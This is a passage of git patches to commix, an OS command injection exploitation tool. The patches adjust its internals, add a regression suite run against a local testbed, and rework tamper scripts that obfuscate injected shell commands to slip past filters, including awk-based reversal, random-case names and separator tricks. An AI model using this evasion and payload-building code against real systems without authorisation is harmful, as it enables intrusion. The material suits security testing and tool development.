exec_time=0, output_length=0, is_vulnerable=settings.INJECTION_LEVEL) return _exploit(separator, prefix, suffix, whitespace, vuln_parameter, transport, TAG) @@ -786,7 +786,7 @@ def _answers_both_ways(whitespace, prefix, suffix, separator, TAG): confirmed = _answers_both_ways(whitespace, stored_prefix, stored_suffix, stored_separator, TAG) if confirmed: _, vuln_parameter, sent_prefix, sent_suffix = confirmed - settings.CONFIRMED_BOUNDARY[settings.CHECKING_PARAMETER] = (stored_prefix, stored_suffix, stored_separator, whitespace) + checks.confirm_boundary(stored_prefix, stored_suffix, stored_separator, whitespace) return _exploit(stored_separator, sent_prefix, sent_suffix, whitespace, vuln_parameter, TAG) # The stored boundary no longer answers, so this is a target that has moved rather than a # session to replay - it is tested again from the start, and announced as any first run is. @@ -823,7 +823,7 @@ def _answers_both_ways(whitespace, prefix, suffix, separator, TAG): continue payload, vuln_parameter, prefix, suffix = confirmed checks.injection_process(injection_type, technique, done=True) - settings.CONFIRMED_BOUNDARY[settings.CHECKING_PARAMETER] = (bare_prefix, bare_suffix, separator, whitespace) + checks.confirm_boundary(bare_prefix, bare_suffix, separator, whitespace) checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, 1, checks.finding_title(separator, whitespace, bare_prefix, bare_suffix)) session_handler.import_injection_points(url, technique, injection_type, filename, separator, True, vuln_parameter, prefix, suffix, TAG, menu.options.interpreter, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=settings.INJECTION_LEVEL) return _exploit(separator, prefix, suffix, whitespace, vuln_parameter, TAG) @@ -1346,7 +1346,7 @@ def _control_answers_on_time(): else: whitespace = settings.WHITESPACES[0] if not resumed: - settings.CONFIRMED_BOUNDARY[settings.CHECKING_PARAMETER] = (bare_prefix, bare_suffix, separator, whitespace) + checks.confirm_boundary(bare_prefix, bare_suffix, separator, whitespace) if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: OUTPUT_TEXTFILE = "" # An optimisation only, and it costs a timing model and a delayed request to find - so a @@ -1713,7 +1713,7 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject else: whitespace = settings.WHITESPACES[0] if not resumed: - settings.CONFIRMED_BOUNDARY[settings.CHECKING_PARAMETER] = (bare_prefix, bare_suffix, separator, whitespace) + checks.confirm_boundary(bare_prefix, bare_suffix, separator, whitespace) cmd = maxlen = "" if not 'url_time_response' in locals(): url_time_response = "" diff --git a/src/utils/settings.py b/src/utils/settings.py index 73427bfd93..b5725118e0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -334,7 +334,7 @@ def _stdout_write(data): Print data to stdout """ def print_data_to_stdout(data): - global PROGRESS_LINE_OPEN, PROGRESS_DOT_COUNT + global PROGRESS_LINE_OPEN, PROGRESS_DOT_COUNT, PROGRESS_INTERRUPTIONS if getattr(_threading.current_thread(), "commix_suppress_output", False): return with PRINT_LOCK: @@ -355,6 +355,10 @@ def print_data_to_stdout(data): if is_established_closer and not PROGRESS_LINE_OPEN: return # nothing open to close - skip the cosmetic blank line + if is_established_closer: + # A question closes the progress line through this path before it is asked, so what follows + # it interrupts the technique just as much as a printed message does. + PROGRESS_INTERRUPTIONS += 1 # However many requests the step behind it actually took, the dot line itself stops growing # once it would otherwise wrap - a fresh CR-drawn line (a new "please wait", or a rewritten one @@ -368,6 +372,8 @@ def print_data_to_stdout(data): # Spinner continuations can append directly; other output needs a newline first. if PROGRESS_LINE_OPEN and not is_spinner_style and not is_established_closer: + # Counted here because this is exactly "a message came between a progress line and its end". + PROGRESS_INTERRUPTIONS += 1 sys.stdout.write(END_LINE.LF) # Only spinner output stays unterminated; other messages always end with a newline. The @@ -410,6 +416,20 @@ def clear_current_line(): sys.stdout.flush() PROGRESS_LINE_OPEN = False +""" +Take the cursor back to the start of the current line and wipe it, leaving no newline behind. + +What 'clear_current_line' does where nothing is open, asked for by name: a line about to be drawn +again word for word is overwriting itself, not following on from anything, and the newline that +closing an open line would leave is exactly what stacks the two copies up. +""" +def redraw_current_line(): + global PROGRESS_LINE_OPEN + with PRINT_LOCK: + sys.stdout.write(END_LINE.CR + "\033[K") + sys.stdout.flush() + PROGRESS_LINE_OPEN = False + """ Close the current spinner line with a trailing newline. """ @@ -457,7 +477,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "255" +REVISION = "256" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -2264,6 +2284,17 @@ class END_LINE: """ LAST_ANNOUNCED_REQUESTS = 0 +""" +How often real output has broken into an open progress line, and what that stood at when a technique +last announced itself. + +Compared rather than counted for its own sake: a technique whose line was interrupted by a question +resumes as "Continue testing the ...", while one announced again with nothing printed in between was +never interrupted and stays "Testing the ..." - the reader saw no break for it to continue from. +""" +PROGRESS_INTERRUPTIONS = 0 +LAST_ANNOUNCED_INTERRUPTIONS = 0 + """ The technique whose title has already been said a second time. A technique that stops to ask something more than once would otherwise announce itself again on every resume, turning one line @@ -2574,6 +2605,15 @@ class END_LINE: # which only '-v' above 0 does. Empty where the root came from auto-detection, not the menu. WEB_ROOT_CATEGORY_LABEL = "" +""" +The answer the directory-choice menu already got, as (candidates, label). + +A pass that retries with a tamper script walks the candidates again, so the menu's own question +would otherwise be put a second and a third time - the same question, to someone who answered it +before the first retry was even offered. None where it has not been asked yet. +""" +WEB_ROOT_CHOICE = None + """ Where each web server commix recognises keeps its document root, per platform. From b8a518ea6ddc992dade5b90a6ecab8b5d0ac6382 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 28 Oct 2026 08:06:40 +0200 Subject: [PATCH 0928/1023] Various fixes, improvements, and updates --- src/core/controller/checks.py | 20 +++ src/core/controller/controller.py | 3 +- src/core/testing.py | 4 +- src/tamper/obfuscation/posix/cmd2var.py | 3 + src/tamper/obfuscation/posix/cmd2wildcard.py | 3 + src/tamper/obfuscation/posix/dashlesstest.py | 3 + src/tamper/obfuscation/posix/randomcase.py | 3 + src/tamper/obfuscation/posix/rev.py | 3 + src/tamper/quoting/posix/backslashes.py | 3 + src/tamper/quoting/posix/dollaratsigns.py | 3 + src/tamper/quoting/posix/dollarstars.py | 3 + src/tamper/quoting/posix/singlequotes.py | 3 + src/tamper/quoting/posix/unicodequote.py | 3 + src/tamper/whitespace/posix/cmd2redir.py | 3 + .../whitespace/posix/space2randomblank.py | 3 + src/utils/settings.py | 6 +- tests/regression.py | 137 ++++++++++++++++++ 17 files changed, 202 insertions(+), 4 deletions(-) create mode 100644 tests/regression.py diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index fcbd4dc298..2cd3af1433 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -6431,6 +6431,26 @@ def announce_vulnerable_finding(filename, injection_type, technique, the_type, h oracle_hint = boolean_oracle_hint(technique) info_msg += (" (with " + oracle_hint + ")" if oracle_hint else "") + "." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + """ + Said where a shell answered the same parameter that an evaluated sink was just confirmed on. + + The command substitution an evaluated payload reaches the system through - backticks, '$()' - is + read the same way by a shell, so a target that evaluates nothing at all still runs it and still + writes the file or waits the delay the technique was looking for. The finding is real either way; + which of the two it is, this cannot tell apart, and reported as code injection on its own it names + the wrong one for a sink that only ever reached '/bin/sh'. + + Said only where nothing identified an interpreter: a sink that answered the language's own probe, + or complained in its own words, has evidence of evaluating for itself, and a shell reachable from + inside it is what an evaluated payload is expected to reach - not a reason to doubt the finding. + """ + if menu.options.eval_sink and settings.IDENTIFIED_COMMAND_INJECTION and not settings.EVAL_OVER_SHELL_SAID \ + and not (settings.IDENTIFIED_EVAL_PROBE or settings.IDENTIFIED_WARNINGS): + settings.EVAL_OVER_SHELL_SAID = True + warn_msg = "A command shell answered this parameter as well, and the payload's own command " + warn_msg += "substitution is read the same way by one - so this may be command injection rather " + warn_msg += "than code injection. Re-run without '--eval' to tell them apart." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) announce_leftover_file(technique) decoded_payload = str(url_decode(payload)) if decode_payload else payload if not settings.LOAD_SESSION: diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index d00ac596a5..10cb4e64a0 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -1051,8 +1051,7 @@ def _ensure_time_warmup(): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) try: - if not (len(menu.options.tech) == 1 and "e" in menu.options.tech): - url = command_injection_heuristic_basic(url, http_request_method, check_parameter, place) + url = command_injection_heuristic_basic(url, http_request_method, check_parameter, place) # Asked for out-of-band, so probe the channel either way: whether the target can reach it # at all, and over which client, is a separate question from whether it is injectable. diff --git a/src/core/testing.py b/src/core/testing.py index d9e89b3a66..51a90fe832 100644 --- a/src/core/testing.py +++ b/src/core/testing.py @@ -29,7 +29,9 @@ def smoke_test(): file_paths.extend([os.path.abspath(os.path.join(root, i)) for i in filenames]) for filename in file_paths: - if os.path.splitext(filename)[1].lower() == ".py" and not "__init__.py" in filename: + # Only a file inside a package is importable by name; the regression suite under 'tests' is not. + if os.path.splitext(filename)[1].lower() == ".py" and not "__init__.py" in filename \ + and os.path.isfile(os.path.join(os.path.dirname(filename), "__init__.py")): path = os.path.join(settings.COMMIX_ROOT_PATH, os.path.splitext(filename)[0]) path = path.replace(settings.COMMIX_ROOT_PATH, '.') path = path.replace(os.sep, '.').lstrip('.') diff --git a/src/tamper/obfuscation/posix/cmd2var.py b/src/tamper/obfuscation/posix/cmd2var.py index 0a3e415324..efeeeebfd8 100644 --- a/src/tamper/obfuscation/posix/cmd2var.py +++ b/src/tamper/obfuscation/posix/cmd2var.py @@ -70,6 +70,9 @@ def rewrite_command(command): # Hand the command's name over in pieces, alongside whatever else rewrites the command. def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' does not expand a variable written this way. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload # The exploitation phase reaches here before there is a command of the user's own to rewrite. if settings.EXPLOITATION_PHASE and settings.USER_APPLIED_CMD: return checks.tamper_rewrite_user_command(payload, __tamper__) diff --git a/src/tamper/obfuscation/posix/cmd2wildcard.py b/src/tamper/obfuscation/posix/cmd2wildcard.py index 5c031b6775..70ff178e2c 100644 --- a/src/tamper/obfuscation/posix/cmd2wildcard.py +++ b/src/tamper/obfuscation/posix/cmd2wildcard.py @@ -69,6 +69,9 @@ def rewrite_command(command): # Hand the command over with its paths spelled as globs, alongside whatever else rewrites it. def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' globs nothing on its own. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload # The exploitation phase reaches here before there is a command of the user's own to rewrite. if settings.EXPLOITATION_PHASE and settings.USER_APPLIED_CMD: return checks.tamper_rewrite_user_command(payload, __tamper__) diff --git a/src/tamper/obfuscation/posix/dashlesstest.py b/src/tamper/obfuscation/posix/dashlesstest.py index 253148563e..cc5da2245b 100644 --- a/src/tamper/obfuscation/posix/dashlesstest.py +++ b/src/tamper/obfuscation/posix/dashlesstest.py @@ -67,6 +67,9 @@ def _rewrite_ordering(payload): # Read every comparison the way 'test' does without its own operators' '-'. def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' has no 'test' expression to write the dash-free way. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload payload = _rewrite_ordering(payload) return payload.replace(" -eq ", " = ").replace(" -ne ", " != ") diff --git a/src/tamper/obfuscation/posix/randomcase.py b/src/tamper/obfuscation/posix/randomcase.py index 5245a3f893..c814f678ac 100644 --- a/src/tamper/obfuscation/posix/randomcase.py +++ b/src/tamper/obfuscation/posix/randomcase.py @@ -51,6 +51,9 @@ def _mixed_case(cmd): # Vary the case of the payload's letters, where the shell does not care about it. def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' has no command substitution to lower the case back through. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload mixed_case = _mixed_case(settings.USER_APPLIED_CMD) # An empty 'USER_APPLIED_CMD' is still "in" any string, so the replace below would otherwise # insert the obfuscated-empty-string construct between every character of the payload - a diff --git a/src/tamper/obfuscation/posix/rev.py b/src/tamper/obfuscation/posix/rev.py index 52291f0d5a..ca23e0bf9d 100644 --- a/src/tamper/obfuscation/posix/rev.py +++ b/src/tamper/obfuscation/posix/rev.py @@ -35,6 +35,9 @@ def dependencies(): # Hand the command over reversed, for the target to turn back with 'rev'. def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' has no command substitution to reverse the command back through. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload # An empty 'USER_APPLIED_CMD' is still "in" any string, so the replace below would otherwise # insert the reversed-empty-string construct between every character of the payload - a # verification litmus built after a finding confirms (and so after exploitation phase starts) diff --git a/src/tamper/quoting/posix/backslashes.py b/src/tamper/quoting/posix/backslashes.py index 83e7083685..fe586c7aed 100644 --- a/src/tamper/quoting/posix/backslashes.py +++ b/src/tamper/quoting/posix/backslashes.py @@ -35,6 +35,9 @@ def dependencies(): # Put a back slash between the characters, which the shell reads straight through. def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' does not drop the character this interleaves. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload return checks.interleave_char_tamper(payload, obf_char) # eof diff --git a/src/tamper/quoting/posix/dollaratsigns.py b/src/tamper/quoting/posix/dollaratsigns.py index 891a466da8..8a8b95da56 100644 --- a/src/tamper/quoting/posix/dollaratsigns.py +++ b/src/tamper/quoting/posix/dollaratsigns.py @@ -35,6 +35,9 @@ def dependencies(): # Put an empty '$@' between the characters, which the shell expands to nothing. def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' does not drop the characters this interleaves. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload return checks.interleave_char_tamper(payload, obf_char) # eof diff --git a/src/tamper/quoting/posix/dollarstars.py b/src/tamper/quoting/posix/dollarstars.py index d1f87358bc..e35d464239 100644 --- a/src/tamper/quoting/posix/dollarstars.py +++ b/src/tamper/quoting/posix/dollarstars.py @@ -41,6 +41,9 @@ def dependencies(): # Put an empty '$*' between the characters, which the shell expands to nothing. def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' does not drop the characters this interleaves. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload return checks.interleave_char_tamper(payload, obf_char) # eof diff --git a/src/tamper/quoting/posix/singlequotes.py b/src/tamper/quoting/posix/singlequotes.py index e40e0cb77c..3de8df1c0a 100644 --- a/src/tamper/quoting/posix/singlequotes.py +++ b/src/tamper/quoting/posix/singlequotes.py @@ -35,6 +35,9 @@ def dependencies(): # Put empty single quotes between the characters, which the shell drops. def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' does not drop the quotes this interleaves. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload return checks.interleave_char_tamper(payload, obf_char) # eof diff --git a/src/tamper/quoting/posix/unicodequote.py b/src/tamper/quoting/posix/unicodequote.py index 9d64d14115..300eedf619 100644 --- a/src/tamper/quoting/posix/unicodequote.py +++ b/src/tamper/quoting/posix/unicodequote.py @@ -38,6 +38,9 @@ def dependencies(): # Fold every single quote into the fullwidth apostrophe a later normalization step reads as one. def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' does not quote with the single quote this replaces. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload return payload.replace("'", "'") # eof diff --git a/src/tamper/whitespace/posix/cmd2redir.py b/src/tamper/whitespace/posix/cmd2redir.py index 1b6f162ab5..9297c83a00 100644 --- a/src/tamper/whitespace/posix/cmd2redir.py +++ b/src/tamper/whitespace/posix/cmd2redir.py @@ -56,6 +56,9 @@ def rewrite_command(command): # Hand the command over with its space folded away, alongside whatever else rewrites it. def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' reads '<>' as a redirection of its own, not as the command's stdin. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload # The exploitation phase reaches here before there is a command of the user's own to rewrite. if settings.EXPLOITATION_PHASE and settings.USER_APPLIED_CMD: return checks.tamper_rewrite_user_command(payload, __tamper__) diff --git a/src/tamper/whitespace/posix/space2randomblank.py b/src/tamper/whitespace/posix/space2randomblank.py index f094b1ec10..6040e4b8de 100644 --- a/src/tamper/whitespace/posix/space2randomblank.py +++ b/src/tamper/whitespace/posix/space2randomblank.py @@ -57,6 +57,9 @@ def _blank_for(part, start, end): # Every occurrence of the current separator, each replaced with its own independent pick - so a # signature over one consistent telltale substitute never sees the same one twice in a row. def tamper(payload): + # A target settled as Windows after this script was accepted: the blanks this draws from are not all separators to 'cmd.exe'. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload if len(settings.WHITESPACES) == 0: return payload current = settings.WHITESPACES[0] diff --git a/src/utils/settings.py b/src/utils/settings.py index b5725118e0..2c27da7faf 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -477,7 +477,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "256" +REVISION = "257" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -826,6 +826,10 @@ class OS(object): # One-time "reflected value(s) found" notice already shown this run. REFLECTIVE_VALUE_FOUND = False +# Whether the caveat about an evaluated finding that a shell could equally explain has been given. +EVAL_OVER_SHELL_SAID = False + + RESPONSE_DELAYS = False TESTABLE_VALUE = "" diff --git a/tests/regression.py b/tests/regression.py new file mode 100644 index 0000000000..a773b9686d --- /dev/null +++ b/tests/regression.py @@ -0,0 +1,137 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +""" +Behavioural regression suite, run against a local instance of the +Commix Testbed (https://github.com/commixproject/commix-testbed). + + python tests/regression.py [base-url] + +Exits non-zero if any check fails. +""" + +import os +import re +import sys +import subprocess + +DEFAULT_URL = "http://127.0.0.1:8081" +TIMEOUT = 300 + +_RESULTS = [] + +""" +Runs commix with the given arguments and returns its combined output. +""" +def run(args, timeout=TIMEOUT): + cmd = [sys.executable, "commix.py", "--batch", "--flush-session"] + args + try: + process = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout, cwd=ROOT) + except subprocess.TimeoutExpired: + return "[timeout]" + return re.sub(r"\x1b\[[0-9;]*m", "", process.stdout + process.stderr) + +""" +Counts the techniques reported in the given output. +""" +def techniques(output): + return len(re.findall(r"^ \* Technique:", output, re.M)) + +""" +Records the result of a single check. +""" +def check(name, condition, detail=""): + _RESULTS.append((name, bool(condition), detail)) + +""" +The checks themselves. +""" +def main(): + base = (sys.argv[1] if len(sys.argv) > 1 else DEFAULT_URL).rstrip("/") + url = base + "/scenarios" + + # Every module imports and the built-in self test still passes. + output = run(["--smoke-test"]) + check("smoke test (all modules import)", "Smoke test passed" in output) + + # A tamper script must not be applied to the eval-sink heuristic probes. + output = run(["--url=" + url + "/ctf/deadsec24_bing2.php?cmd=id", "--technique=r", "--tamper=printfoctal"]) + check("printfoctal does not hijack to code injection", "code injection technique" not in output) + + # Prose already present in the baseline response must not read as an eval sink. + output = run(["--url=" + url + "/ctf/dvwa_command_injection.php", "--data=ip=127.0.0.1", "--technique=r", "-v", "1"]) + check("no false 'evaluated language' from page prose", "identified evaluated language" not in output) + + # A self-proving technique must not be re-verified away. + output = run(["--url=" + url + "/ctf/dvwa_command_injection.php", "--data=ip=127.0.0.1"]) + check("dvwa genuine finding survives", techniques(output) >= 1 and "does not seem to be injectable" not in output, + "techniques=" + str(techniques(output))) + + # An inference-only finding must still be re-verified. + output = run(["--url=" + url + "/regular/POST/blind.php", "--data=addr=127.0.0.1", "--technique=b"]) + check("boolean-only finding still re-verified", "is a false positive" in output and techniques(output) == 1) + + # An explicit --tamper switches off both the retry prompt and self-adoption. + output = run(["--url=" + url + "/ctf/deadsec24_bing2.php?cmd=id", "--technique=r", "--tamper=space2ifs"]) + check("explicit --tamper: no prompt, no stacking", + "Do you want commix to try again" not in output and "too many tamper scripts" not in output) + + # Self-adopted scripts are not counted against the user. + output = run(["--url=" + url + "/ctf/dvwa_command_injection.php", "--data=ipx=127.0.0.1", "--technique=r"]) + check("self-adopted scripts: no 'too many tampers' warning", "too many tamper scripts" not in output) + check("prompt makes no unverified filter claim", "which the target may be filtering" not in output) + + # The writable directory is only ever asked for once per run. + output = run(["--url=" + url + "/ctf/dvwa_command_injection.php", "--data=ipx=127.0.0.1"]) + asked = output.count("What do you want to use for the writable directory") + check("writable-dir menu asked once", asked == 1, "asked " + str(asked) + "x") + + # A script adopted for one parameter must not survive into the next. + output = run(["--url=" + url + "/regular/GET/multiple_params.php?addr=127.0.0.1&count=4&label=x", "--technique=r"]) + payload = re.search(r"^ \* Payload: (.*)$", output, re.M) + check("no cross-parameter tamper leak", + payload and "${IFS}" not in payload.group(1) and "\t" not in payload.group(1), + payload.group(1)[:40] if payload else "no payload") + + # A shell sink reached through --eval is reported with a caveat. + output = run(["--url=" + url + "/regular/GET/classic.php?addr=127.0.0.1", "--eval=php", "--technique=f"]) + check("--eval on a shell sink: caveat shown", "Re-run without '--eval'" in output) + + # A real eval sink is reported without one. + output = run(["--url=" + url + "/regular/GET/eval.php?user=commix", "--eval=php"]) + check("--eval on a real eval sink: no caveat", + "Re-run without '--eval'" not in output and techniques(output) >= 1, + "techniques=" + str(techniques(output))) + + # The same holds for the non-PHP eval sinks. + false_caveats = [] + for language, target in (("python", "/python/eval.py"), ("perl", "/perl/eval.pl"), ("lua", "/lua/eval.lua")): + output = run(["--url=" + url + target + "?user=commix", "--eval=" + language]) + if "Re-run without '--eval'" in output: + false_caveats.append(language) + check("--eval on non-PHP eval sinks: no caveat", not false_caveats, ",".join(false_caveats)) + + print("") + passed = 0 + for name, ok, detail in _RESULTS: + print((" [ OK ] " if ok else " [FAIL] ") + name + ((" (" + detail + ")") if detail else "")) + passed += int(ok) + print("\n" + str(passed) + "/" + str(len(_RESULTS)) + " checks passed") + return 0 if passed == len(_RESULTS) else 1 + +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + +if __name__ == "__main__": + sys.exit(main()) From 6d0639c630269afc98d1b7cb32eedbe989928a85 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 28 Oct 2026 08:07:21 +0200 Subject: [PATCH 0929/1023] Various fixes, improvements, and updates --- src/core/controller/checks.py | 35 ++++- src/core/testing.py | 4 +- src/tamper/obfuscation/posix/printf2echo.py | 6 +- src/tamper/obfuscation/posix/randomcase.py | 60 ++++++--- src/tamper/obfuscation/posix/rev.py | 24 +++- src/utils/settings.py | 2 +- tests/regression.py | 137 -------------------- 7 files changed, 100 insertions(+), 168 deletions(-) delete mode 100644 tests/regression.py diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 2cd3af1433..0fe4d6cc07 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -2546,16 +2546,18 @@ def identified_os(): warn_msg = "Identified a different operating system (i.e. '" warn_msg += target_os_label() + "') than the one you defined (i.e. '" + menu.options.os.title() + "')." settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) - message = "How do you want to proceed? [(C)ontinue/(s)kip] " + # Each letter names the operating system it settles on, and the capitalised one is the default. + message = "How do you want to proceed? [(K)eep the identified '" + target_os_label() + "'" + message += "/(f)orce the defined '" + menu.options.os.title() + "'/(q)uit] " while True: - proceed_option = (common.read_input(message, default="S", check_batch=True) or "S").strip().lower() - if proceed_option in ("c", "s", "q"): + proceed_option = (common.read_input(message, default="K", check_batch=True) or "K").strip().lower() + if proceed_option in ("k", "f", "q"): break common.invalid_option(proceed_option) - if proceed_option == "c": + if proceed_option == "f": settings.IGNORE_IDENTIFIED_TARGET_OS = True return settings.IGNORE_IDENTIFIED_TARGET_OS - elif proceed_option == "s": + elif proceed_option == "k": settings.IGNORE_IDENTIFIED_TARGET_OS = False return settings.IGNORE_IDENTIFIED_TARGET_OS elif proceed_option == "q": @@ -3467,6 +3469,29 @@ def tamper_dep_interpreter_incompatible(tamper_name): def current_whitespace(): return settings.WHITESPACES[0] if len(settings.WHITESPACES) != 0 else settings.SINGLE_WHITESPACE +# The separator the parameter at hand was proved on, for a rewrite choosing between forms by it. +def current_separator(): + boundary = settings.CONFIRMED_BOUNDARY.get(settings.CHECKING_PARAMETER) + return boundary[2] if boundary else None + +# The statements of an awk program that reads its arguments back from the end, bar the one that +# prints the result. Every loop is a 'while': a 'for' header carries two ';' of its own, which no +# newline between statements would take back. Each word is reversed and the words put back in +# reverse order too, so a command and its arguments come out the way they went in - with 'OFS' +# standing in for the space between them, a literal one being the whitespace substitution's to take. +_AWK_REVERSE_STATEMENTS = ("BEGIN{j=ARGC-1", "while(j>0){i=length(ARGV[j])", + "while(i>0){o=(o)(substr(ARGV[j],i,1))", "i--}", + "if(j>1)o=(o)(OFS)", "j--}") + +# Whether awk reads a program whose statements are separated by this one. +def awk_separator_usable(separator): + return separator in (";", settings.END_LINE.LF) + +# That program, written out with the separator the payload is already proving between its statements. +def awk_reverse_program(separator, fold=False): + printed = "print(" + ("tolower(o)" if fold else "o") + ")}" + return "'" + separator.join(_AWK_REVERSE_STATEMENTS + (printed,)) + "'" + """ Record the boundary a technique just proved, and put its whitespace at the front of the list. diff --git a/src/core/testing.py b/src/core/testing.py index 51a90fe832..d9e89b3a66 100644 --- a/src/core/testing.py +++ b/src/core/testing.py @@ -29,9 +29,7 @@ def smoke_test(): file_paths.extend([os.path.abspath(os.path.join(root, i)) for i in filenames]) for filename in file_paths: - # Only a file inside a package is importable by name; the regression suite under 'tests' is not. - if os.path.splitext(filename)[1].lower() == ".py" and not "__init__.py" in filename \ - and os.path.isfile(os.path.join(os.path.dirname(filename), "__init__.py")): + if os.path.splitext(filename)[1].lower() == ".py" and not "__init__.py" in filename: path = os.path.join(settings.COMMIX_ROOT_PATH, os.path.splitext(filename)[0]) path = path.replace(settings.COMMIX_ROOT_PATH, '.') path = path.replace(os.sep, '.').lstrip('.') diff --git a/src/tamper/obfuscation/posix/printf2echo.py b/src/tamper/obfuscation/posix/printf2echo.py index 2f6fee068f..dfd7287c01 100644 --- a/src/tamper/obfuscation/posix/printf2echo.py +++ b/src/tamper/obfuscation/posix/printf2echo.py @@ -18,7 +18,11 @@ """ About: Replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`. -Notes: This tamper script works against target(s) with a POSIX shell +Notes: This tamper script works against target(s) with a POSIX shell. + The two pipes are the one thing this rewrite cannot be written without: 'od' reads a byte + from its standard input alone, and the only way to hand it one without a pipe is awk's + 'sprintf', which carries the very name this script exists to avoid. On a target filtering a + pipe as well as 'printf', this one has nothing left to offer. """ __tamper__ = "printf2echo" diff --git a/src/tamper/obfuscation/posix/randomcase.py b/src/tamper/obfuscation/posix/randomcase.py index c814f678ac..d4a86f3fdd 100644 --- a/src/tamper/obfuscation/posix/randomcase.py +++ b/src/tamper/obfuscation/posix/randomcase.py @@ -18,8 +18,13 @@ from src.core.controller import checks """ -About: Replaces each character in a user-supplied OS command with a random case. -Notes: This tamper script works against target(s) with a POSIX shell. +About: Replaces each character in a user-supplied OS command's name with a random case. +Notes: Only the name is varied, on either target: the fold that lowers it back on a POSIX shell + would lower an argument's own letters with it, and the command was asked for with the + letters it was asked for. On Windows nothing has to fold it back at all, 'cmd.exe' + resolving a name without regard to case. + The fold is read by 'awk', which takes the name as an argument - a pipe into 'tr' would be + an operator the payload is not proving. The character ranges are quoted with "'", which is the one quote neither an evaluated string nor the shell inside it is already using. """ @@ -27,13 +32,12 @@ __tamper__ = "randomcase" __priority__ = settings.PRIORITY.HIGH -# Why this script cannot be applied to the target at hand, or nothing where it can. -def dependencies(): - return checks.tamper_dep_unix_only(__tamper__) - if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True +# Folded back to lower case by awk, which takes the name as an argument rather than through a pipe. +_FOLD = "'BEGIN{print(tolower(ARGV[1]))}'" + """ Every character's case chosen independently, so two letters - the shortest a real command ever is - still come out matching the original's case throughout one time in two: a signature over the @@ -49,31 +53,53 @@ def _mixed_case(cmd): if candidate not in (candidate.lower(), candidate.upper()): return candidate -# Vary the case of the payload's letters, where the shell does not care about it. +# Vary the case of the command's letters, folded back where the shell cares which case it was given. def tamper(payload): - # A target settled as Windows after this script was accepted: 'cmd.exe' has no command substitution to lower the case back through. + # 'cmd.exe' reads the mixed case as the command it names, so it is handed over as it is - and only + # the name is varied, an argument being the command's own to read however it reads it. if settings.TARGET_OS == settings.OS.WINDOWS: + if settings.EXPLOITATION_PHASE and settings.USER_APPLIED_CMD: + source = payload if settings.USER_APPLIED_CMD in payload else settings.RAW_PAYLOAD + if settings.USER_APPLIED_CMD in source: + name, separator, arguments = settings.USER_APPLIED_CMD.partition(settings.SINGLE_WHITESPACE) + payload = source.replace(settings.USER_APPLIED_CMD, _mixed_case(name) + separator + arguments) + if len(settings.WHITESPACES) != 0: + payload = payload.replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) return payload - mixed_case = _mixed_case(settings.USER_APPLIED_CMD) # An empty 'USER_APPLIED_CMD' is still "in" any string, so the replace below would otherwise # insert the obfuscated-empty-string construct between every character of the payload - a # verification litmus built after a finding confirms 